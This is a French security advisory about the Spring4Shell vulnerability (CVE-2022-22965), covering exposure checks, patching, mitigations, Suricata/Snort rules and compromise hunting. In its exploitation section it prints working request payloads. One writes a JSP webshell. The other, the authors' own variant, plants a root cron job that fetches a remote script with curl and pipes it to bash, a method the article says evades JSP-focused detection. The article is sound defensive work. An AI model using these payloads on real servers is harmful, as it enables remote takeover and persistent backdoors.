Cet article a pour but de répondre à l’essentiel des questions que les organisations se posent, ou devraient se poser quant à la récente vulnérabilité critique Spring4Shell
Spring4Shell – Une vulnérabilité qui fait beaucoup parler d’elle !
Publiée le 29 mars 2022, la première notification connue de la vulnérabilité provient du tweet ci-dessous de Heige, le leader de l’équipe KnownSec.
Figure 1 – Première trace de la vulnérabilité Spring4Shell
Il s’agit d’une vulnérabilité zero-day (i.e. qui ne possède aucun correctif au moment de sa publication) qui permet la manipulation de certaines classes Java à distance et qui affecte le célèbre framework Java spring-core, très populaire et largement utilisé dans les applications web écrites en Java. Un PoC a été rendu public quelques heures après le tweet, puis très rapidement, le PoC a été testé et validé par plusieurs experts, dont les équipes de cybersécurité d’Alter Solutions. Son exploitation est sensiblement similaire à la CVE-2010-1622 de 2010 qui permettait à un attaquant de pouvoir charger des classes Java et exécuter du code en envoyant des requêtes malveillantes à l’application.
Cette validation nous a permis de confirmer que l’exploitation de cette vulnérabilité permet à un attaquant d’effectuer de l’exécution de code à distance (RCE), sans action utilisateur (zero click), pouvant conduire à la prise de contrôle totale du serveur. Nous avons donc affaire à une vulnérabilité ayant un fort impact. De plus, la popularité du produit impacté ainsi que la facilité d’exploitation et la disponibilité de plusieurs PoC en ligne, font que cette vulnérabilité est extrêmement critique. Il convient de s’en protéger dans les plus brefs délais !
La vulnérabilité, baptisée Spring4Shell (en référence à la vulnérabilité Log4Shell), s’est vu affecter le numéro CVE-2022-22965 et un score CVSS de 9,8.
Comment l’exploiter ?
Pour exploiter cette vulnérabilité, un attaquant doit être en mesure de communiquer avec un gestionnaire de servlet (Tomcat par exemple) hébergeant une application Javaet qui utilise l’un des deux principaux framework Web de Spring : spring-webmvc ou spring-webflux.
Le PoC qui a été publié à la suite de cette vulnérabilité fonctionne comme suit :
Figure 2 – Enchainement des étapes de l’attaque
class.module.classLoader.resources.context.parent.pipeline.first.pattern=payload& class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp& class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete& class.module.classLoader.resources.context.parent.pipeline.first.prefix=exploit& class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= |
Figure 3 – Exemple du contenu de la requête malveillante d’un attaquant
Cet exemple d’exploitation est tiré du PoC qui a largement été diffusé sur internet (https://github.com/BobTheShoplifter/Spring4Shell-POC). Cependant, il faut noter qu’un attaquant n’est pas obligé de passer par l’écriture d’un webshell pour exécuter du code à distance grâce à cette vulnérabilité.
En effet, cette attaque permet d’ajouter du contenu dans n’importe quel fichier (existant ou non) sur le serveur. Un attaquant pourrait par exemple abuser d’autres mécanismes de persistance pour récupérer la main sur le serveur.
Un scénario d’attaque possible que nous avons testé, dans le cas où le serveur web tournerait en tant qu’administrateur (root), serait d’ajouter une tâche planifiée au niveau du système qui serait exécutée suivant une fréquence de notre choix.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=*%20*%20*%20*%20*%20root%20curl%20http://192.168.10.10:9001/script.sh%20%7C%20bash%20#&class.module.classLoader.resources.context.parent.pipeline.first.suffix=&class.module.classLoader.resources.context.parent.pipeline.first.directory=/etc/cron.d&class.module.classLoader.resources.context.parent.pipeline.first.prefix=exploit&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= |
* * * * * root curl http://192.168.10.10:9001/script.sh | bash #
Ensuite, il suffit d’exposer un fichier script.sh sur un serveur que l’on maîtrise (ici 192.168.10.10). Chaque minute, le serveur attaqué téléchargera le fichier et l’exécutera.
Dans ce dernier exemple, aucun fichier JSP n’est écrit. Cela contourne quelques règles de détections publiées pour cette vulnérabilité qui sont uniquement basées sur l’écriture d’un tel fichier.
Il est également bon de préciser que même si les PoC disponibles s’appuient tous sur l’utilisation du module “ClassLoader”, il est probable que l’on puisse exécuter du code à distance via d’autre module Java. Donc il faut rester méfiant quant aux règles WAF, sondes ou autres qui permettent de détecter et d’empêcher cette vulnérabilité.
Comment savoir si l’on est vulnérable ?
Vous êtes vulnérable si les points suivants sont vérifiés :
- Vous utilisez Java 9 ou +
- Vous utilisez un gestionnaire de Servlet comme Tomcat
- Votre application est packagée en War
- Votre application utilise le framework Spring entre 5.3.0-17 ou 5.2.0-19
- Vous utilisez un des 2 modules spring-webmvc ou spring-webflux
Une simple commande sur votre serveur dans le répertoire de votre application vous permettra d’un coup d’œil de savoir si votre application peut être à risque ou non :
$: find . -name spring*.jar […] ./WEB-INF/lib/spring-beans-5.3.15.jar ./WEB-INF/lib/spring-core-5.3.15.jar ./WEB-INF/lib/spring-webmvc-5.3.15.jar […] |
Figure 5 – Commande à exécuter sur un serveur Linux pour retrouver les installations de Spring et sa version
Ainsi il est facile de se rendre compte que cette vulnérabilité n’est pas la nouvelle Log4Shell car il y a plusieurs conditions nécessaires à son exploitation. Cependant, elle n’est pas à sous-estimer pour autant.
Comment corriger la vulnérabilité ?
Les versions 5.3.18 et 5.2.20 de Spring Framework, publiées le 31 mars 2022, corrigent cette vulnérabilité.
Note : Les versions de Spring Boot 2.6.6 ou 2.5.12 dépendent de Spring Framework 5.3.18. C’est à dire que la mise à jour de Spring Boot vers une de ces versions va automatiquement mettre à jour Spring Framework et corriger la vulnérabilité.
Que faire si je ne peux pas patcher rapidement ?
Pour de nombreuses raisons, il est parfois complexe d’effectuer la mise à jour de Spring (très grand volume d’applications vulnérables, dépendance logicielle importante…). Au vu de la criticité de la vulnérabilité, il est important de trouver une solution pour s’en protéger. Voici quelques mesures palliatives permettant de s’en prémunir :
Mettre à jour Tomcat (à défaut de Spring) vers une des versions suivantes ou supérieure à :
- 10.0.20
- 9.0.62
- 8.5.78
Détecter et/ou bloquer les tentatives d’attaques au niveau réseau
L’attaque se faisant par le biais du protocole HTTP(S), il est possible de détecter cette attaque avec des outils de détection réseau. Certaines signatures propres à cette attaque sont extractibles :
Figure 6 – Capture réseau d’une exploitation Spring4Shell (Initial Access)
A ce jour, il n’existe pas encore de preuve d’exploitation publique de Spring4Shell qui n’utilise pas ces cinq chaînes de caractères :
- pipeline.first.pattern
- pipeline.first.suffix
- pipeline.first.directory
- pipeline.first.prefix
- pipeline.first.fileDateFormat
Si l’on retrouve ces cinq chaînes de caractères dans une requête, cela signifie qu’il s’agit très probablement d’une tentative d’exploitation Spring4Shell (avec une probabilité de faux positif extrêmement faible). Il est possible d’effectuer cette détection grâce à des outils d’inspection de paquets type IDS/IPS/NDR. Emerging Threats a déjà publié des règles Suricata et Snort qu’il convient d’importer dans ces outils :
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 1 Pattern Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.pattern=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035674; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 2 Suffix Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.suffix=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035675; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 3 Directory Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.directory=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035676; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 4 Prefix Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.prefix=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035677; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Inbound (Unassigned)”; flow:to_server,established; content:”POST”; http_method; content:”pipeline.first.pattern=”; http_client_body; fast_pattern; content:”pipeline.first.suffix=”; http_client_body; content:”pipeline.first.directory=”; http_client_body; content:”pipeline.first.prefix=”; http_client_body; classtype:attempted-admin; sid:2035678; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) |
Figure 7 – Règles de détection Spring4Shell Suricata
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 1 Pattern Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.pattern=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035674; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 2 Suffix Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.suffix=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035675; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 3 Directory Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.directory=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035676; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Stage 4 Prefix Set Inbound (Unassigned)”; flow:to_server,established; content:”GET”; http_method; content:”pipeline.first.prefix=”; http_uri; fast_pattern; classtype:attempted-admin; sid:2035677; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:”ET EXPLOIT Possible SpringCore RCE/Spring4Shell Inbound (Unassigned)”; flow:to_server,established; content:”POST”; http_method; content:”pipeline.first.pattern=”; fast_pattern; http_client_body; content:”pipeline.first.suffix=”; http_client_body; content:”pipeline.first.directory=”; http_client_body; content:”pipeline.first.prefix=”; http_client_body; classtype:attempted-admin; sid:2035678; rev:1; metadata:attack_target Server, created_at 2022_03_31, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_31;) |
Figure 8 – Règles de détection Spring4Shell Snort
Suricata : https://rules.emergingthreats.net/open/suricata/rules/emerging-exploit.rules
Snort : https://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-exploit.rules
Comment faire pour savoir si j’ai déjà été compromis ?
Bien que la vulnérabilité ait été rendue publique le 29 mars 2022 et soit restée plus de 24h sans correctif disponible, elle est présente au moins depuis la version 5.2.0 sortie le 16 février 2021. Cela fait donc plus d’un an que cette vulnérabilité existe.
Il est probable que cette vulnérabilité ait été exploitée depuis un moment par des attaquants aguerris ou bien informés. Mais elle l’a sans doute été encore davantage, entre sa publication et la sortie d’un correctif. En effet, lors de la parution d’une telle 0-day facilement exploitable depuis internet, des attaques massives tentant de l’exploiter apparaissent sur internet et font de nombreuses victimes.
Ainsi, même si vous avez mis à jour vos serveurs et pensez être protégés, il est possible qu’un attaquant soit déjà entré et ait positionné des backdoors sur vos serveurs avant que le correctif ait été appliqué.
Pour savoir si vous avez déjà été compromis, il est essentiel d’avoir une politique de journalisation et de centralisation des logs. Si ce prérequis est rempli, voici quelques pistes pour rechercher des traces de compromission :
- Rechercher des traces de création ou de modification de fichiers sur les serveurs web Tomcat.
- Rechercher des traces d’exploitation d’un Web Shell tel celui présenté dans le PoC.
- Ces données peuvent être collectées en récupérant les journaux d’accès au serveur web Tomcat (access_log).
- Ces données peuvent être collectées en récupérant les journaux d’accès au serveur web Tomcat (access_log).
Comment se prémunir de l’exploitation de ce type de 0-day ?
Bien qu’il ne soit pas possible de se protéger des vulnérabilités de type 0-day en tant que telles, il est toutefois possible d’éviter leur exploitation. Regardons par exemple les mesures qui auraient pu empêcher l’exploitation du PoC mis en ligne le 31/03/2022.
Suivre des règles d’hygiène élémentaires de la sécurité informatique : Moindre privilège
Le PoC publié fait écrire au serveur web (Tomcat) un fichier tomcatwar.jsp dans le répertoire racine de l’application web. Or, dans une configuration de serveur web suivant les bonnes pratiques de sécurité, l’utilisateur exécutant le service (Tomcat) doit suivre le principe de moindre privilège. Par conséquent, cet utilisateur ne doit pas avoir le droit d’écrire dans ce répertoire.
Avoir une bonne stratégie de détection et de prévention des techniques d’attaques
Le PoC utilise une technique de persistance bien connue et qui peut être détectée : le Web Shell (MITRE T1505.003). Ce Web Shell est écrit sur le serveur web et, contrairement à la vulnérabilité, n’a rien de révolutionnaire et est tout à fait classique. C’est particulièrement le type de fichier qui est détectable par un outil d’analyse de fichier statique avancé ou par une analyse comportementale que peut apporter un EDR.